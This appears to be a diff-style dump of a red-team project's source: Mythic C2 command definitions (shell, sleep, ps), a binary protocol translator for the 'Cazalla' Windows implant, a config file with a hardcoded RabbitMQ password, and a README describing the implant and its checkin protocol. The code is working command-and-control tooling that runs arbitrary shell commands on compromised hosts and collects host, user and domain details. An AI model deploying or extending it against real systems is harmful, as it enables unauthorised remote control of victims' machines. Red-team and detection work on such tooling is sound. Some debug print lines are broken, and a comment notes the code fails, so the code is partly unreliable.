help_cmd = "shell {command}"
|
||||||
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
|
description = "Ejecuta comandos de shell en el sistema NOTA: ESTO ES CERO OPSEC"
|
||||||
version = 1
|
version = 1
|
||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
attackmapping = ["T1059"]
|
attackmapping = ["T1059"]
|
||||||
argument_class = ShellArguments
|
argument_class = ShellArguments
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
supported_os=[SupportedOS.MacOS, SupportedOS.Linux, SupportedOS.Windows]
|
||||||
)
|
)
|
||||||
|
|
||||||
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
task.display_params = task.args.get_arg("command")
|
task.display_params = task.args.get_arg("command")
|
||||||
return task
|
return task
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
return resp
|
return resp
|
||||||
@@ -1,83 +1,83 @@
|
|||||||
from mythic_container.MythicCommandBase import *
|
from mythic_container.MythicCommandBase import *
|
||||||
from mythic_container.MythicRPC import *
|
from mythic_container.MythicRPC import *
|
||||||
import logging
|
import logging
|
||||||
|
|
||||||
logging.basicConfig(level=logging.INFO)
|
logging.basicConfig(level=logging.INFO)
|
||||||
|
|
||||||
|
|
||||||
class SleepArguments(TaskArguments):
|
class SleepArguments(TaskArguments):
|
||||||
def __init__(self, command_line, **kwargs):
|
def __init__(self, command_line, **kwargs):
|
||||||
super().__init__(command_line, **kwargs)
|
super().__init__(command_line, **kwargs)
|
||||||
self.args = [
|
self.args = [
|
||||||
CommandParameter(
|
CommandParameter(
|
||||||
name="seconds",
|
name="seconds",
|
||||||
type=ParameterType.Number,
|
type=ParameterType.Number,
|
||||||
description="Sleep en segundos",
|
description="Sleep en segundos",
|
||||||
parameter_group_info=[ParameterGroupInfo(
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
required=True,
|
required=True,
|
||||||
ui_position=1
|
ui_position=1
|
||||||
)]
|
)]
|
||||||
),
|
),
|
||||||
CommandParameter(
|
CommandParameter(
|
||||||
name="jitter",
|
name="jitter",
|
||||||
type=ParameterType.Number,
|
type=ParameterType.Number,
|
||||||
description="Porcentaje del jitter en segundos",
|
description="Porcentaje del jitter en segundos",
|
||||||
parameter_group_info=[ParameterGroupInfo(
|
parameter_group_info=[ParameterGroupInfo(
|
||||||
required=False,
|
required=False,
|
||||||
ui_position=2
|
ui_position=2
|
||||||
)]
|
)]
|
||||||
),
|
),
|
||||||
]
|
]
|
||||||
|
|
||||||
async def parse_arguments(self):
|
async def parse_arguments(self):
|
||||||
logging.info(f"parse_arguments : {self.command_line}")
|
logging.info(f"parse_arguments : {self.command_line}")
|
||||||
|
|
||||||
if len(self.command_line) == 0:
|
if len(self.command_line) == 0:
|
||||||
raise ValueError("Must supply a command to run")
|
raise ValueError("Must supply a command to run")
|
||||||
self.add_arg("command", self.command_line)
|
self.add_arg("command", self.command_line)
|
||||||
|
|
||||||
async def parse_dictionary(self, dictionary_arguments):
|
async def parse_dictionary(self, dictionary_arguments):
|
||||||
logging.info(f"parse_dictionary : {dictionary_arguments}")
|
logging.info(f"parse_dictionary : {dictionary_arguments}")
|
||||||
|
|
||||||
seconds = dictionary_arguments.get("seconds")
|
seconds = dictionary_arguments.get("seconds")
|
||||||
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
|
jitter = dictionary_arguments.get("jitter", 0) # Default jitter to 0 if not in the dictionary
|
||||||
|
|
||||||
if seconds is None:
|
if seconds is None:
|
||||||
raise ValueError("The 'seconds' key is required in the dictionary.")
|
raise ValueError("The 'seconds' key is required in the dictionary.")
|
||||||
if not isinstance(seconds, int) or seconds < 0:
|
if not isinstance(seconds, int) or seconds < 0:
|
||||||
raise ValueError("The 'seconds' value must be a non-negative integer.")
|
raise ValueError("The 'seconds' value must be a non-negative integer.")
|
||||||
|
|
||||||
# Explicitly map parsed dictionary values to parameters
|
# Explicitly map parsed dictionary values to parameters
|
||||||
self.add_arg("seconds", seconds)
|
self.add_arg("seconds", seconds)
|
||||||
self.add_arg("jitter", jitter)
|
self.add_arg("jitter", jitter)
|
||||||
|
|
||||||
|
|
||||||
class SleepCommand(CommandBase):
|
class SleepCommand(CommandBase):
|
||||||
cmd = "sleep"
|
cmd = "sleep"
|
||||||
needs_admin = False
|
needs_admin = False
|
||||||
help_cmd = "sleep <segundos> [jitter]"
|
help_cmd = "sleep <segundos> [jitter]"
|
||||||
description = "Cambiar el sleep."
|
description = "Cambiar el sleep."
|
||||||
version = 1
|
version = 1
|
||||||
author = "Kaseya OFSTeam"
|
author = "Kaseya OFSTeam"
|
||||||
attackmapping = ["T1029"]
|
attackmapping = ["T1029"]
|
||||||
argument_class = SleepArguments
|
argument_class = SleepArguments
|
||||||
attributes = CommandAttributes(
|
attributes = CommandAttributes(
|
||||||
builtin=True,
|
builtin=True,
|
||||||
supported_os=[ SupportedOS.Windows ],
|
supported_os=[ SupportedOS.Windows ],
|
||||||
suggested_command=False
|
suggested_command=False
|
||||||
)
|
)
|
||||||
|
|
||||||
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
# async def create_tasking(self, task: MythicTask) -> MythicTask:
|
||||||
# task.display_params = task.args.get_arg("command")
|
# task.display_params = task.args.get_arg("command")
|
||||||
# return task
|
# return task
|
||||||
|
|
||||||
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse:
|
||||||
response = PTTaskCreateTaskingMessageResponse(
|
response = PTTaskCreateTaskingMessageResponse(
|
||||||
TaskID=taskData.Task.ID,
|
TaskID=taskData.Task.ID,
|
||||||
Success=True,
|
Success=True,
|
||||||
)
|
)
|
||||||
return response
|
return response
|
||||||
|
|
||||||
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
async def process_response(self, task: PTTaskMessageAllData, response: any) -> PTTaskProcessResponseMessageResponse:
|
||||||
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
resp = PTTaskProcessResponseMessageResponse(TaskID=task.Task.ID, Success=True)
|
||||||
return resp
|
return resp
|
||||||
@@ -0,0 +1,71 @@
|
|||||||
|
function(task, responses) {
|
||||||
|
console.log(task)
|
||||||
|
console.log("-------------------------------------------------------------------------------------------------------")
|
||||||
|
console.log(responses)
|
||||||
|
if (task.status.includes("error")) {
|
||||||
|
const combined = responses.reduce((prev, cur) => prev + cur, "");
|
||||||
|
return { 'plaintext': combined };
|
||||||
|
} else if (responses.length > 0) {
|
||||||
|
// Combine and split the responses into lines
|
||||||
|
const output = responses.reduce((prev, cur) => prev + cur, "").split("\n").filter(line => line.trim() !== "");
|
||||||
|
if (output.length === 0) {
|
||||||
|
return { 'plaintext': "No process information found." };
|
||||||
|
}
|
||||||
|
|
||||||
|
// Prepare the table structure
|
||||||
|
const formattedResponse = {
|
||||||
|
headers: [
|
||||||
|
{ plaintext: "Process Name", type: "string", fillWidth: true },
|
||||||
|
{ plaintext: "PPID", type: "number", width: 80 },
|
||||||
|
{ plaintext: "PID", type: "number", width: 80 },
|
||||||
|
{ plaintext: "Architecture", type: "string", width: 80 },
|
||||||
|
{ plaintext: "User Account", type: "string", fillWidth: true },
|
||||||
|
{ plaintext: "Session ID", type: "number", width: 80 }
|
||||||
|
],
|
||||||
|
title: "Process List",
|
||||||
|
rows: []
|
||||||
|
};
|
||||||
|
|
||||||
|
// Process each line to populate rows
|
||||||
|
output.forEach(line => {
|
||||||
|
const parts = line.split("\t");
|
||||||
|
// Ensure the array has up to 6 elements, filling missing parts with empty strings
|
||||||
|
while (parts.length < 6) {
|
||||||
|
parts.push("");
|
||||||
|
}
|
||||||
|
const [processName, ppid, pid, architecture, userAccount, sessionId] = parts;
|
||||||
|
|
||||||
|
// Add the row, ensuring missing fields are shown as empty cells
|
||||||
|
formattedResponse.rows.push({
|
||||||
|
"Process Name": {
|
||||||
|
plaintext: processName || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"PPID": {
|
||||||
|
plaintext: ppid || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"PID": {
|
||||||
|
plaintext: pid || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"Architecture": {
|
||||||
|
plaintext: architecture || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"User Account": {
|
||||||
|
plaintext: userAccount || "",
|
||||||
|
cellStyle: {}
|
||||||
|
},
|
||||||
|
"Session ID": {
|
||||||
|
plaintext: sessionId || "",
|
||||||
|
cellStyle: {}
|
||||||
|
}
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
return { table: [formattedResponse] };
|
||||||
|
} else {
|
||||||
|
return { 'plaintext': "No response yet from agent..." };
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,11 +1,11 @@
|
|||||||
#from mywebhook.webhook import *
|
#from mywebhook.webhook import *
|
||||||
import mythic_container
|
import mythic_container
|
||||||
import asyncio
|
import asyncio
|
||||||
import cazalla
|
import cazalla
|
||||||
#import websocket.mythic.c2_functions.websocket
|
#import websocket.mythic.c2_functions.websocket
|
||||||
from translator.translator import *
|
from translator.translator import *
|
||||||
#from my_logger import logger
|
#from my_logger import logger
|
||||||
#from basic_command_augment import *
|
#from basic_command_augment import *
|
||||||
#from basic_eventer.my_eventing import *
|
#from basic_eventer.my_eventing import *
|
||||||
|
|
||||||
mythic_container.mythic_service.start_and_run_forever()
|
mythic_container.mythic_service.start_and_run_forever()
|
||||||
@@ -1,6 +1,6 @@
|
|||||||
{
|
{
|
||||||
"rabbitmq_host": "127.0.0.1",
|
"rabbitmq_host": "127.0.0.1",
|
||||||
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
|
"rabbitmq_password": "PqR9XJ957sfHqcxj6FsBMj4p",
|
||||||
"mythic_server_host": "127.0.0.1",
|
"mythic_server_host": "127.0.0.1",
|
||||||
"debug_level": "debug"
|
"debug_level": "debug"
|
||||||
}
|
}
|
||||||
@@ -1,9 +1,9 @@
|
|||||||
aio-pika==9.0.4
|
aio-pika==9.0.4
|
||||||
dynaconf==3.1.11
|
dynaconf==3.1.11
|
||||||
ujson==5.7.0
|
ujson==5.7.0
|
||||||
aiohttp==3.8.3
|
aiohttp==3.8.3
|
||||||
psutil==5.9.4
|
psutil==5.9.4
|
||||||
grpcio
|
grpcio
|
||||||
grpcio-tools
|
grpcio-tools
|
||||||
mythic-container
|
mythic-container
|
||||||
pyaml
|
pyaml
|
||||||
@@ -1,68 +1,76 @@
|
|||||||
import json
|
import json
|
||||||
|
|
||||||
|
commands = {
|
||||||
commands = {
|
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
||||||
"get_tasking": {"hex_code": 0x00, "input_type": None},
|
"checkin": {"hex_code": 0xf1, "input_type": None},
|
||||||
"checkin": {"hex_code": 0xf1, "input_type": None},
|
"post_response": {"hex_code": 0x01, "input_type": None},
|
||||||
"post_response": {"hex_code": 0x01, "input_type": None},
|
"shell": {"hex_code": 0x54, "input_type": "string"},
|
||||||
"shell": {"hex_code": 0x54, "input_type": "string"},
|
"exit": {"hex_code": 0x80, "input_type": None},
|
||||||
"exit": {"hex_code": 0x08, "input_type":None},
|
"sleep": {"hex_code": 0x38, "input_type": "int"},
|
||||||
"sleep": {"hex_code":0x38, "input_type":"int"}
|
"ps": {"hex_code": 0x15, "input_type": None}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
def responseTasking(tasks):
|
||||||
def responseTasking(tasks):
|
data = b""
|
||||||
data = b""
|
dataTask = b""
|
||||||
dataTask = b""
|
|
||||||
|
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1, "big") + len(tasks).to_bytes(4, "big")
|
||||||
dataHead = commands["get_tasking"]["hex_code"].to_bytes(1,"big") + len(tasks).to_bytes(4, "big")
|
|
||||||
|
for task in tasks:
|
||||||
for task in tasks:
|
command_to_run = task["command"]
|
||||||
command_to_run = task["command"]
|
command_code = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
||||||
|
|
||||||
if commands[command_to_run]["input_type"] == "string":
|
task_id = task["id"].encode()
|
||||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
task_id_bytes = task["id"].encode()
|
||||||
data += task["id"].encode()
|
task_id_serialized = len(task_id_bytes).to_bytes(4, "big") + task_id_bytes
|
||||||
|
|
||||||
if task["parameters"] != "":
|
if commands[command_to_run]["input_type"] is None: # Comandos sin parámetros como "ps"
|
||||||
parameters = json.loads(task["parameters"])
|
data = command_code + task_id_serialized
|
||||||
data += len(parameters).to_bytes(4,"big")
|
task_size = len(data)
|
||||||
for param in parameters:
|
dataTask += task_size.to_bytes(4, "big") + data
|
||||||
data += len(parameters[param]).to_bytes(4, "big")
|
|
||||||
data += parameters[param].encode()
|
print("input_type: None")
|
||||||
else:
|
print(dataTask)
|
||||||
data += b"\x00\x00\x00\x00"
|
|
||||||
|
elif commands[command_to_run]["input_type"] == "string":
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
data = command_code + task_id
|
||||||
|
if task["parameters"] != "":
|
||||||
elif commands[command_to_run]["input_type"] == "int":
|
parameters = json.loads(task["parameters"])
|
||||||
data = commands[command_to_run]["hex_code"].to_bytes(1, "big")
|
data += len(parameters).to_bytes(4,"big")
|
||||||
data += task["id"].encode()
|
for param in parameters:
|
||||||
|
data += len(parameters[param]).to_bytes(4, "big")
|
||||||
if task["parameters"] != "":
|
data += parameters[param].encode()
|
||||||
parameters = json.loads(task["parameters"])
|
else:
|
||||||
data += len(parameters).to_bytes(4, "big")
|
data += b"\x00\x00\x00\x00"
|
||||||
for param in parameters:
|
|
||||||
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
else:
|
|
||||||
data += b"\x00\x00\x00\x00"
|
elif commands[command_to_run]["input_type"] == "int":
|
||||||
dataTask += len(data).to_bytes(4, "big") + data
|
data = command_code + task_id
|
||||||
|
if task["parameters"] != "":
|
||||||
dataToSend = dataHead + dataTask
|
parameters = json.loads(task["parameters"])
|
||||||
|
data += len(parameters).to_bytes(4, "big")
|
||||||
return dataToSend
|
for param in parameters:
|
||||||
|
data += (parameters[param]).to_bytes(4, "big") # Convertir el int correctamente
|
||||||
|
else:
|
||||||
def responseCheckin(uuid):
|
data += b"\x00\x00\x00\x00"
|
||||||
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
dataTask += len(data).to_bytes(4, "big") + data
|
||||||
return data
|
|
||||||
|
dataToSend = dataHead + dataTask
|
||||||
def responsePosting(responses):
|
print("estamos en el dataToSend\n")
|
||||||
data = len(responses).to_bytes(4, "big")
|
print(dataToSend)
|
||||||
for response in responses:
|
return dataToSend
|
||||||
if response["status"] == "success":
|
|
||||||
data += b"\x01"
|
|
||||||
else:
|
def responseCheckin(uuid):
|
||||||
data += b"\x00"
|
data = commands["checkin"]["hex_code"].to_bytes(1, "big") + uuid.encode() + b"\x01"
|
||||||
|
return data
|
||||||
|
|
||||||
|
def responsePosting(responses):
|
||||||
|
data = len(responses).to_bytes(4, "big")
|
||||||
|
for response in responses:
|
||||||
|
if response["status"] == "success":
|
||||||
|
data += b"\x01"
|
||||||
|
else:
|
||||||
|
data += b"\x00"
|
||||||
return data
|
return data
|
||||||
@@ -1,96 +1,112 @@
|
|||||||
from translator.utils import *
|
from translator.utils import *
|
||||||
import ipaddress
|
import ipaddress
|
||||||
|
import json
|
||||||
def checkIn(data):
|
|
||||||
|
def checkIn(data):
|
||||||
# Retrieve UUID
|
|
||||||
uuid = data[:36]
|
# Retrieve UUID
|
||||||
data = data[36:]
|
uuid = data[:36]
|
||||||
|
data = data[36:]
|
||||||
# Retrieve IPs
|
|
||||||
numIPs = int.from_bytes(data[0:4])
|
# Retrieve IPs
|
||||||
data = data[4:]
|
numIPs = int.from_bytes(data[0:4])
|
||||||
i = 0
|
data = data[4:]
|
||||||
IPs = []
|
i = 0
|
||||||
while i < numIPs:
|
IPs = []
|
||||||
ip = data[:4]
|
while i < numIPs:
|
||||||
data = data[4:]
|
ip = data[:4]
|
||||||
addr = str(ipaddress.ip_address(ip))
|
data = data[4:]
|
||||||
IPs.append(addr)
|
addr = str(ipaddress.ip_address(ip))
|
||||||
i += 1
|
IPs.append(addr)
|
||||||
|
i += 1
|
||||||
# Retrieve OS
|
|
||||||
targetOS, data = getBytesWithSize(data)
|
# Retrieve OS
|
||||||
|
targetOS, data = getBytesWithSize(data)
|
||||||
# Retrive Architecture
|
|
||||||
archOS = data[0]
|
# Retrive Architecture
|
||||||
if archOS == 0x64:
|
archOS = data[0]
|
||||||
archOS = "x64"
|
if archOS == 0x64:
|
||||||
elif archOS == 0x86:
|
archOS = "x64"
|
||||||
archOS = "x86"
|
elif archOS == 0x86:
|
||||||
else:
|
archOS = "x86"
|
||||||
archOS = ""
|
else:
|
||||||
data = data[1:]
|
archOS = ""
|
||||||
|
data = data[1:]
|
||||||
# Retrieve HostName
|
|
||||||
hostname, data = getBytesWithSize(data)
|
# Retrieve HostName
|
||||||
|
hostname, data = getBytesWithSize(data)
|
||||||
# Retrieve Username
|
|
||||||
username, data = getBytesWithSize(data)
|
# Retrieve Username
|
||||||
|
username, data = getBytesWithSize(data)
|
||||||
# Retrieve Domaine
|
|
||||||
domain, data = getBytesWithSize(data)
|
# Retrieve Domaine
|
||||||
|
domain, data = getBytesWithSize(data)
|
||||||
# Retrieve PID
|
|
||||||
pid = int.from_bytes(data[0:4])
|
# Retrieve PID
|
||||||
data = data[4:]
|
pid = int.from_bytes(data[0:4])
|
||||||
|
data = data[4:]
|
||||||
# Retrieve Process Name
|
|
||||||
processName, data = getBytesWithSize(data)
|
# Retrieve Process Name
|
||||||
|
processName, data = getBytesWithSize(data)
|
||||||
#Retrieve External IP
|
|
||||||
externalIP, data = getBytesWithSize(data)
|
#Retrieve External IP
|
||||||
|
externalIP, data = getBytesWithSize(data)
|
||||||
dataJson = {
|
|
||||||
"action": "checkin",
|
dataJson = {
|
||||||
"ips": IPs,
|
"action": "checkin",
|
||||||
"os": targetOS.decode('cp850'),
|
"ips": IPs,
|
||||||
"user": username.decode('cp850'),
|
"os": targetOS.decode('cp850'),
|
||||||
"host": hostname.decode('cp850'),
|
"user": username.decode('cp850'),
|
||||||
"domain": domain.decode('UTF-16LE'),
|
"host": hostname.decode('cp850'),
|
||||||
"process_name":processName.decode('cp850'),
|
"domain": domain.decode('UTF-16LE'),
|
||||||
"pid": pid,
|
"process_name":processName.decode('cp850'),
|
||||||
"uuid": uuid.decode('cp850'),
|
"pid": pid,
|
||||||
"architecture": archOS ,
|
"uuid": uuid.decode('cp850'),
|
||||||
"externalIP": externalIP.decode('cp850'),
|
"architecture": archOS ,
|
||||||
}
|
"externalIP": externalIP.decode('cp850'),
|
||||||
|
}
|
||||||
return dataJson
|
|
||||||
|
return dataJson
|
||||||
|
|
||||||
def getTasking(data):
|
|
||||||
numTasks = int.from_bytes(data[0:4])
|
def getTasking(data):
|
||||||
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
numTasks = int.from_bytes(data[0:4])
|
||||||
return dataJson
|
dataJson = { "action": "get_tasking", "tasking_size": numTasks }
|
||||||
|
return dataJson
|
||||||
|
|
||||||
def postResponse(data):
|
|
||||||
|
def postResponse(data):
|
||||||
resTaks = []
|
print("Tamaño del Base64 recibido: {len(data)} bytes")
|
||||||
|
|
||||||
uuidTask = data[:36]
|
resTaks = []
|
||||||
data = data[36:]
|
uuidTask = data[:36]
|
||||||
output, data = getBytesWithSize(data)
|
data = data[36:]
|
||||||
jsonTask = {
|
|
||||||
"task_id": uuidTask.decode('cp850'),
|
output, data = getBytesWithSize(data)
|
||||||
"user_output":output.decode('cp850'),
|
|
||||||
}
|
print("Tamaño después de extraer UUID: {len(data)} bytes")
|
||||||
|
|
||||||
jsonTask["completed"] = True
|
try:
|
||||||
resTaks.append(jsonTask)
|
decoded_output = output.decode('cp850')
|
||||||
|
except Exception as e:
|
||||||
dataJson = {
|
print("Fallo al decodificar la salida: {e}")
|
||||||
"action": "post_response",
|
decoded_output = "[ERROR DECODIFICANDO]"
|
||||||
"responses": resTaks
|
|
||||||
}
|
jsonTask = {
|
||||||
return dataJson
|
"task_id": uuidTask.decode('cp850'),
|
||||||
|
"user_output": decoded_output,
|
||||||
|
}
|
||||||
|
|
||||||
|
jsonTask["completed"] = True
|
||||||
|
resTaks.append(jsonTask)
|
||||||
|
|
||||||
|
dataJson = {
|
||||||
|
"action": "post_response",
|
||||||
|
"responses": resTaks
|
||||||
|
}
|
||||||
|
|
||||||
|
print("Respuesta generada: {json.dumps(dataJson, indent=4)}")
|
||||||
|
|
||||||
|
return dataJson
|
||||||
|
|
||||||
|
##FALLA ESTA MIERDA, PORQUE PARECE QUE LO QUE SE ENVIA ES CORRECTO, HAY QUE REVISAR ESTO
|
||||||
@@ -1,52 +1,52 @@
|
|||||||
import json
|
import json
|
||||||
import base64
|
import base64
|
||||||
import binascii
|
import binascii
|
||||||
import os
|
import os
|
||||||
|
|
||||||
from translator.utils import *
|
from translator.utils import *
|
||||||
from translator.commands_from_c2 import *
|
from translator.commands_from_c2 import *
|
||||||
from translator.commands_from_implant import *
|
from translator.commands_from_implant import *
|
||||||
|
|
||||||
from mythic_container.TranslationBase import *
|
from mythic_container.TranslationBase import *
|
||||||
|
|
||||||
class cazalla_translator(TranslationContainer):
|
class cazalla_translator(TranslationContainer):
|
||||||
name = "cazalla_translator"
|
name = "cazalla_translator"
|
||||||
description = "python translation service for the Kaseya C agent Cazalla"
|
description = "python translation service for the Kaseya C agent Cazalla"
|
||||||
author = "OFSTeam"
|
author = "OFSTeam"
|
||||||
|
|
||||||
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
async def generate_keys(self, inputMsg: TrGenerateEncryptionKeysMessage) -> TrGenerateEncryptionKeysMessageResponse:
|
||||||
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
response = TrGenerateEncryptionKeysMessageResponse(Success=True)
|
||||||
response.DecryptionKey = b""
|
response.DecryptionKey = b""
|
||||||
response.EncryptionKey = b""
|
response.EncryptionKey = b""
|
||||||
return response
|
return response
|
||||||
|
|
||||||
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
async def translate_to_c2_format(self, inputMsg: TrMythicC2ToCustomMessageFormatMessage) -> TrMythicC2ToCustomMessageFormatMessageResponse:
|
||||||
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
response = TrMythicC2ToCustomMessageFormatMessageResponse(Success=True)
|
||||||
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
print("C2 --> IMPLANT :" + json.dumps(inputMsg.Message))
|
||||||
if inputMsg.Message["action"] == "checkin":
|
if inputMsg.Message["action"] == "checkin":
|
||||||
print("Response CHECKIN")
|
print("Response CHECKIN")
|
||||||
response.Message = responseCheckin(inputMsg.Message["id"])
|
response.Message = responseCheckin(inputMsg.Message["id"])
|
||||||
elif inputMsg.Message["action"] == "get_tasking":
|
elif inputMsg.Message["action"] == "get_tasking":
|
||||||
print("Response TASKING")
|
print("Response TASKING")
|
||||||
response.Message = responseTasking(inputMsg.Message["tasks"])
|
response.Message = responseTasking(inputMsg.Message["tasks"])
|
||||||
elif inputMsg.Message["action"] == "post_response":
|
elif inputMsg.Message["action"] == "post_response":
|
||||||
print("Response POSTREP")
|
print("Response POSTREP")
|
||||||
response.Message = responsePosting(inputMsg.Message["responses"])
|
response.Message = responsePosting(inputMsg.Message["responses"])
|
||||||
return response
|
return response
|
||||||
|
|
||||||
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
async def translate_from_c2_format(self, inputMsg: TrCustomMessageToMythicC2FormatMessage) -> TrCustomMessageToMythicC2FormatMessageResponse:
|
||||||
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
response = TrCustomMessageToMythicC2FormatMessageResponse(Success=True)
|
||||||
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
print("IMPLANT --> C2 : " + binascii.hexlify(inputMsg.Message).decode('cp850'))
|
||||||
#response.Message = json.loads(inputMsg.Message)
|
#response.Message = json.loads(inputMsg.Message)
|
||||||
data = inputMsg.Message
|
data = inputMsg.Message
|
||||||
if data[0] == commands["checkin"]["hex_code"]:
|
if data[0] == commands["checkin"]["hex_code"]:
|
||||||
print("CHECK IN")
|
print("CHECK IN")
|
||||||
response.Message = checkIn(data[1:])
|
response.Message = checkIn(data[1:])
|
||||||
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
elif data[0] == commands["get_tasking"]["hex_code"]: #GET_TASKING
|
||||||
print("GET TASKING")
|
print("GET TASKING")
|
||||||
response.Message = getTasking(data[1:])
|
response.Message = getTasking(data[1:])
|
||||||
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
elif data[0] == commands["post_response"]["hex_code"]: #POSTREPONSE
|
||||||
print("POST RESPONSE")
|
print("POST RESPONSE")
|
||||||
response.Message = postResponse(data[1:])
|
response.Message = postResponse(data[1:])
|
||||||
|
|
||||||
return response
|
return response
|
||||||
|
|||||||
@@ -1,7 +1,7 @@
|
|||||||
import base64
|
import base64
|
||||||
import os
|
import os
|
||||||
|
|
||||||
def getBytesWithSize(data):
|
def getBytesWithSize(data):
|
||||||
size = int.from_bytes(data[0:4])
|
size = int.from_bytes(data[0:4])
|
||||||
data = data[4:]
|
data = data[4:]
|
||||||
return data[:size], data[size:]
|
return data[:size], data[size:]
|
||||||
@@ -1,185 +1,185 @@
|
|||||||
# Cazalla - Basic Mythic Implant in C
|
# Cazalla - Basic Mythic Implant in C
|
||||||
|
|
||||||
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
Cazalla is a basic Windows implant written in C, designed to interface with the Mythic C2 framework.
|
||||||
|
|
||||||
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
This project was developed based on the article [How to build your own Mythic agent in C](https://red-team-sncf.github.io/how-to-create-your-own-mythic-agent-in-c.html) and serves as an initial version of an implant with room for future improvements.
|
||||||
|
|
||||||
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
Cazalla is developed by the OFSTeam at Kaseya. Currently, it only supports the `exit` and `shell` commands, but additional functionality is planned for future updates.
|
||||||
|
|
||||||
## Install Cazalla
|
## Install Cazalla
|
||||||
|
|
||||||
Once Mythic is installed and running, use the following command to install Cazalla:
|
Once Mythic is installed and running, use the following command to install Cazalla:
|
||||||
|
|
||||||
```sh
|
```sh
|
||||||
./mythic-cli install github <repository-url>
|
./mythic-cli install github <repository-url>
|
||||||
```
|
```
|
||||||
|
|
||||||
## Detection
|
## Detection
|
||||||
|
|
||||||
A YARA rule can be provided for detection purposes.
|
A YARA rule can be provided for detection purposes.
|
||||||
|
|
||||||
## Communication Protocol
|
## Communication Protocol
|
||||||
|
|
||||||
### HEADER - Implant to C2
|
### HEADER - Implant to C2
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------|-------------------|------------|
|
|---------|-------------------|------------|
|
||||||
| UUID | 36 | Str (char*)|
|
| UUID | 36 | Str (char*)|
|
||||||
| Action | 1 | UInt32 |
|
| Action | 1 | UInt32 |
|
||||||
|
|
||||||
### HEADER - C2 to Implant
|
### HEADER - C2 to Implant
|
||||||
|
|
||||||
| Key | Key Len (bytes) | Type |
|
| Key | Key Len (bytes) | Type |
|
||||||
|---------|-------------------|------------|
|
|---------|-------------------|------------|
|
||||||
| Action | 1 | Int32 |
|
| Action | 1 | Int32 |
|
||||||
|
|
||||||
UUID | BODY
|
UUID | BODY
|
||||||
|
|
||||||
#### Checkin - Implant to C2
|
#### Checkin - Implant to C2
|
||||||
|
|
||||||
Expected:
|
Expected:
|
||||||
|
|
||||||
```json
|
```json
|
||||||
{
|
{
|
||||||
"action": "checkin",
|
"action": "checkin",
|
||||||
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
"uuid": "a21bab2e-462e-49ab-9800-fbedaf53ad15",
|
||||||
"ip": "127.0.0.1",
|
"ip": "127.0.0.1",
|
||||||
"os": "win",
|
"os": "win",
|
||||||
"arch": "x64",
|
"arch": "x64",
|
||||||
"hostname": "PC",
|
"hostname": "PC",
|
||||||
"user": "bob",
|
"user": "bob",
|
||||||
"domain": "domain.com",
|
"domain": "domain.com",
|
||||||
"pid": 123,
|
"pid": 123,
|
||||||
"processname": "malware.exe"
|
"processname": "malware.exe"
|
||||||
}
|
}
|
||||||
```
|
```
|
||||||
|
|
||||||
